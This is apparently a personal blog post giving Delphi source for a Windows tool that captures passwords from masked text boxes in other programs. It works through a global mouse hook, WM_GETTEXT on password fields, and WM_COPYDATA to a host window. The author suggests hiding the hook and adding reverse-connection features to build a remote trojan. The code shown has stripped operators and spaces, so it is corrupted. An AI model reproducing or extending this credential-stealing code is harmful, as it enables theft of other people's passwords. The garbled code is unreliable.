Windows文本框星号密码查看器

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Windows文本框星号密码查看器

本人2002的学习作品

作者：成晓旭

1、 设计原理：注册一个系统级鼠标挂钩，通过监测系统鼠标所在Windows窗口来获取密码，成功获取密码之后，通过发送自定义的Windows系统消息，到宿主程序。

2、 Hook动态链接库设计原理：采用Windows Hook技术[鼠标挂钩]，切入远程进程内部，并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint())，获取窗口句柄之后，判断当然窗口是否为文本框，并进一步判断是否为密码框，当发现是密码输入框时，当此窗口发送WM_GETTEXT消息，获取密码。成功获取密码之后，发现自定义的WM_COPYDATA消息到宿主程序；

具体实现步骤简介：

1． 设置系统鼠标挂钩：

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2． 注销系统鼠标挂钩：

UnHookWindowsHookEx(hkMouseHook);

3． 监测当然窗口及窗口风格判断：

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

//发现密码窗口

end;

4． 向密码框获取密码串：

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5． 发送自定义消息到宿主程序：

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、 宿主程序设计原理：我的宿主程序是自己学习Windows SDK开发时作品，采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中，只需要在系统消息处理方法中，增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

WM_COPYDATA:

begin

CXX_ReceiveCopyData(uMsg);

end;

……

end;

4、 应用技术提点：这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然，有兴趣的话，你完全可以将其Hook进一步进行隐藏，并为其增加“端口反弹”或者“半连接”功能，宿主程序可以是自己的远程XXXXXX，哈哈，这样发布出来的话，想知道的东西就多了……

5、 完整源码代码：

1． Hook鼠标挂钩部分：

...{
产品名称：Windows　密码工具[Window98/NT/2000/XP]
功能描述：截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
能捕捉windows98/NT/2000/XP的密码框中的"＊"密码
开发平台：Windows2000+Delphi6+MSDN+SDK
开发者：成晓旭
版权所有：成晓旭
模块设计者：成晓旭
设计思路：采用WindowsHook技术[鼠标挂钩],切入远程进程内部,
再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
显示或处理HookDLL所截取的远程进程的密码.
开始时间：2002年3月4日
完成时间：2002年5月24日[最终实现]
备注：此工具是本人在2002年开发的第二个软件
本工具在2000年6月份左右曾实现过一个Windows98下的
密码截取工具,两年以来,我一直没有放弃过实现Windows
操作系统下的所有密码的截取,如此,终于实现了两年以来
未曾实现的截取WindowsNT系列的密码.[2002/05/24]
以后的路还很长:WindowNT系列的当前用户登录密码、
内存长驻的其它密码等等.
}
unitMouseHook;

interface
uses
Messages,Windows;//,SysUtils;

var

hkMouseHook:HHook;
ProcSafelyExit:Pointer;
uCXXMsg:UINT;
procedureDllEntryProc(ul_reason_for_call:DWORD);
procedureSetupHook(fSet:boolean);stdcall;export;
functionCXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
procedureAutoUnInstallHook();far;

implementation

usesDataStruct;


procedureCXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:=Findwindow(Nil,'WM_COPYDATA接收端');
ifhDec=0then
begin
MessageBox(0,'数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！','提示',MB_OKorMB_ICONWARNING);
Exit;
end;
try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX:=pt.X;
pmi.MouseY:=pt.Y;
pmi.MouseTitle:=pwd;
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData:=9910;
pcds.cbData:=sizeof(TMouseInfo);
pcds.lpData:=pmi;
SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));
//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
finally
FreeMem(pmi);
FreeMem(pcds);
end;
end;

functionCXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
pMhs:PMOUSEHOOKSTRUCT;
wnd:HWND;
style:LongInt;
MousePos:TPoint;
MouseTitle:TMTitle;
begin
ifiCode=HC_ACTIONthen
begin
FillChar(MouseTitle,255,0);
pMhs:=PMOUSEHOOKSTRUCT(lParam);
MousePos:=pMhs.pt;
wnd:=WindowFromPoint(pmhs.pt);
style:=GetWindowLong(wnd,GWL_STYLE);
if(styleandES_PASSWORD)=ES_PASSWORDthen
begin
SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));
//发送截取的信息[]
CXX_SendCopyData(MousePos,MouseTitle);
end;
end;
Result:=CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;

procedureSetupHook(fSet:boolean);stdcall;export;
begin
iffSetthen
begin
ifhkMouseHook0thenExit;
hkMouseHook:=SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);
//ifhkMouseHook0then
//MessageBox(0,'鼠标挂钩安装成功！！！','挂钩提示',MB_ICONINFORMATIONorMB_OK)
//else
//MessageBox(0,'鼠标挂钩安装失败！','挂钩提示',MB_ICONWARNINGorMB_OK);
end
else
begin
ifhkMouseHook0then
begin
UnHookWindowsHookEx(hkMouseHook);
hkMouseHook:=0;
//ifhkMouseHook=0then
//MessageBox(0,'鼠标挂钩撤消成功！！！','挂钩提示',MB_ICONINFORMATIONorMB_OK)
//else
//MessageBox(0,'鼠标挂钩撤消失败！','挂钩提示',MB_ICONWARNINGorMB_OK);
end;
end;
end;

procedureDllEntryProc(ul_reason_for_call:DWORD);
begin
...{
iful_reason_for_call=DLL_PROCESS_ATTACHthen
begin
MessageBox(0,'DLL_PROCESS_ATTACH','MouseDllHint',MB_OKorMB_ICONINFORMATION);
//uCXXMsg:=RegisterWindowMessage(SELF_MESSAGE_NAME);

end
elseiful_reason_for_call=DLL_PROCESS_DETACHthen
begin
MessageBox(0,'DLL_PROCESS_DETACH','MouseDllHint',MB_OKorMB_ICONINFORMATION);
end;
}
end;

procedureAutoUnInstallHook();
begin
ifhkMouseHook0then
SetupHook(False);
ExitProc:=ProcSafelyExit;
end;

end.

2． 宿主程序部分：

此程序中，还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

...{
产品名称：Windows　密码工具
功能描述：截取Windows密码编辑框中的密码串
采用纯粹的SDK开发
开发平台：Windows2000+Delphi6+MSDN+SDK
开发者：成晓旭
版权所有：成晓旭
模块设计者：成晓旭
开始时间：2002年3月4日
完成时间：2002年3月4日
修改时间1：2002年3月4日
备注：此工具是本人在2002年开发的第二个软件,
}

programMouseExe;
uses
Windows,
SysUtils,
Messages,
Tie_In_MHookin'Tie_In_MHook.pas',
DataStructin'DataStruct.pas';

...{$RMouseExe.res}
const
CXX_WND_CLASS='DC_Password';//主窗口类名
CXX_WND_CAPTION='Window2000/XP密码捕捉工具';
CXX_PASSKEY='chenxiaoxu';
MOUSE_MOVE_TIMER=WM_USER+9910;
SELF_MESSAGE_NAME='CXX_Test_Window_Message';
var
hWndMain,//程序主窗口句柄
hBtnCheck,//程序发送按钮句柄
hBtnClose,//程序关闭按钮句柄
hStcPos,//鼠标位置提示
hStcTitle,//窗口标题提示
hEdtPos,//鼠标当前位置
hEdtTitle://获取窗口标题
LongWord;
hInstMain:integer;//程序实例句柄
hBGBmp:HBITMAP;//主窗口背景图片句柄
hCur:HICON;
uCXXMsg:UINT;
procedureCXX_SendCopyData();
var
pcds:PCopyDataStruct;
pmi:PMouseInfo;
hDec:THandle;
begin
hDec:=Findwindow(Nil,'WM_COPYDATA接收端');
ifhDec=0then
begin
MessageBox(hWndMain,'数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！','提

示',MB_OKorMB_ICONWARNING);
Exit;
end;
//try
GetMem(pmi,sizeof(TMouseInfo));
pmi.MouseX:=10;
pmi.MouseY:=50;
pmi.MouseTitle:='chenxiaoxu';
GetMem(pcds,sizeof(TCopyDataStruct));
pcds.dwData:=9910;
pcds.cbData:=sizeof(TMouseInfo);
pcds.lpData:=pmi;
SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
//finally
FreeMem(pmi);
FreeMem(pcds);
//end;
end;
procedureCXX_ReceiveCopyData(Msg:TMessage);
var
str:string;
begin
str:=IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseX);
str:=str+IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam)^.lpData)^.MouseY);
end;
//绘制窗口位图背景函数
functionCXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap):boolean;
var
hdcMem:HDC;
rect:TRect;
bmp:Bitmap;
x,y:integer;
begin
//bmp:=nil;
Result:=False;
//主窗口背景图片尚未加载，不能绘制窗口背景
iffBitmap=0thenExit;
//获取绘图区域
GetClientRect(hWndMain,rect);
//创建兼容内存设备描述表
hdcMem:=CreateCompatibleDC(fdc);
ifhdcMem=0thenExit;
//设置位图对象
if(GetObject(fBitmap,sizeof(Bitmap),@bmp)=0)thenExit;
//设置内存设备描述表内容
ifNOTBoolean(SelectObject(hdcMem,fBitmap))thenExit;
//绘制窗口背景图片
x:=0;
while(xrect.Right-rect.Left)do
begin
y:=0;
while(yrect.Bottom-rect.Top)do
begin
BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem,0,0,SRCCOPY);
y:=y+bmp.bmHeight;
end;
x:=x+bmp.bmWidth;
end;
Result:=DeleteDC(hdcMem);
end;

...{
functionCXX_SetWinCaption():设置窗口对象标题函数
参数定义:
hWnd:窗口对象句柄
pchText:窗口对象标题
}
procedureCXX_SetWinCaption(hWnd:hWND;pchText:PChar);
begin
SendMessage(hWnd,WM_SETTEXT,0,Integer(pchText));
//SetWindowText(hWnd,pchText);
end;
...{
functionCXX_GetWinCaption():取得按钮标题函数
参数定义:
hWnd:按钮句柄
pchText:按钮标题
}
procedureCXX_GetWinCaption(hWnd:hWND;pchText:PChar);
begin
SendMessage(hWnd,WM_GETTEXT,255,Integer(pchText));
end;

procedureCXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);
begin
//MessageBox(hWin,'系统时间','提示',0);
end;

functionCXX_SetProgramTimer(fSetTimer:boolean):boolean;
begin
Result:=False;
iffSetTimerthen
begin
//ifSetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc)0then
ifSetTimer(hWndMain,MOUSE_MOVE_TIMER,100,nil)0then
Result:=True;
end
else
begin
ifKillTimer(hWndMain,MOUSE_MOVE_TIMER)then
Result:=True;
end;
end;
//主窗口消息回调函数
//functionCXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;
functionCXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;
var
//pchPassword:PCHAR;
dc:HDC;
ps:PAINTSTRUCT;
begin
...{
ifuMsg=uCXXMsgthen
begin
MessageBox(hWnd,'自定义消息来了！！！','Hint',0);
MessageBox(hWnd,PChar(lParam),'消息内容',0);
end;
}
caseuMsgof
WM_COPYDATA:
begin
//MessageBox(hWndMain,'窗口接收WM_COPYDATA消息！','提示',MB_OKorMB_ICONWARNING);
CXX_ReceiveCopyData(uMsg);
end;
WM_CREATE:
begin
uCXXMsg:=RegisterWindowMessage(SELF_MESSAGE_NAME);
end;
WM_RBUTTONDBLCLK://$0206
PostQuitMessage(0);
WM_COMMAND://$0111
begin
iflParam=hBtnClosethen
begin
ifMessageBox(hWnd,PChar('确定要退出【'+CXX_WND_CAPTION+'】吗？'),'确

认',MB_YESNOorMB_ICONQUESTION)=IDYESthen
PostQuitMessage(0);
end
elseiflParam=hBtnCheckthen
begin
//CXX_SetProgramTimer(True);
//PostMessage(HWND_BROADCAST,uCXXMsg,0,0);
//SetupHook(True);
CXX_SendCopyData();
end;
end;
WM_PAINT:
begin
dc:=BeginPaint(hWnd,ps);
ifNOTCXX_DrawBGBitmap(dc,hBGBmp)then
MessageBox(hWnd,'绘制主窗口背景失败呢！','提示',MB_OKorMB_ICONWARNING);
end;
WM_DESTROY:
begin
CXX_SetProgramTimer(false);
Halt;//$0002:
end;
end;//EndofCase
Result:=DefWindowProc(hWnd,uMsg,wParam,lParam);
end;

//应用程序实例化
functionCXX_InitInstance():boolean;
var
wndClass:TWndClass;
begin
hInstMain:=hInstance;
hCur:=LoadCursor(hInstMain,'HANDLE');
ifhCur=0then
MessageBox(hWndMain,'加载主窗口背景图片失败！！！','提示',MB_OKor

MB_ICONWARNING)
else
SetCursor(hCur);
hBGBmp:=LoadBitmap(hInstMain,'BACKBMP');
ifhBGBmp=0then
MessageBox(hWndMain,'加载主窗口背景图片失败！！！','提示',MB_OKor

MB_ICONWARNING);
wndClass.cbClsExtra:=0;
wndClass.cbWndExtra:=0;
wndClass.hInstance:=hInstMain;
wndClass.hIcon:=0;
wndClass.hCursor:=LoadCursor(0,IDC_HAND);
wndClass.hbrBackground:=CTLCOLOR_EDIT;
wndClass.lpfnWndProc:=@CXX_MainWindowProc;
wndClass.lpszClassName:=CXX_WND_CLASS;
wndClass.lpszMenuName:=nil;
wndClass.style:=CS_DBLCLKS;
Result:=Boolean(RegisterClassA(wndClass));
end;
//主程序函数
procedureCXX_RunMainProgram();
var
myMsg:TMsg;
begin
ifNOTCXX_InitInstance()then
Exit;
hWndMain:=CreateWindowEx(WS_EX_CLIENTEDGEorWS_EX_TOPMOST,
CXX_WND_CLASS,CXX_WND_CAPTION,
WS_VISIBLEorWS_SYSMENUorWS_MINIMIZEBOX,
0,0,320,150,0,0,hInstMain,nil);
hStcPos:=CreateWindowEx(0,'static','鼠标位置：',
WS_VISIBLEORWS_CHILD,
5,10,80,20,
hWndMain,0,hInstMain,nil);
hEdtPos:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
WS_VISIBLEORWS_CHILD,
100,10,200,20,
hWndMain,0,hInstMain,nil);
hStcTitle:=CreateWindowEx(0,'static','获取密码：',
WS_VISIBLEORWS_CHILD,
5,50,80,20,
hWndMain,0,hInstMain,nil);
hEdtTitle:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit','',
WS_VISIBLEORWS_CHILD,
100,50,200,20,
hWndMain,0,hInstMain,nil);
hBtnCheck:=CreateWindowEx(WS_EX_STATICEDGEorWS_EX_CLIENTEDGE,'Button','发送消息',
WS_VISIBLEORWS_CHILD,
10,85,100,30,
hWndMain,0,hInstMain,nil);
hBtnClose:=CreateWindowEx(WS_EX_STATICEDGEorWS_EX_CLIENTEDGE,'Button','退出程序',
WS_VISIBLEORWS_CHILD,
180,85,100,30,
hWndMain,0,hInstMain,nil);
//主程序函数循环
while(GetMessage(myMsg,hWndMain,0,0))do
begin
TranslateMessage(myMsg);
DispatchMessage(myMsg);
end;
end;

begin
CXX_RunMainProgram();
end.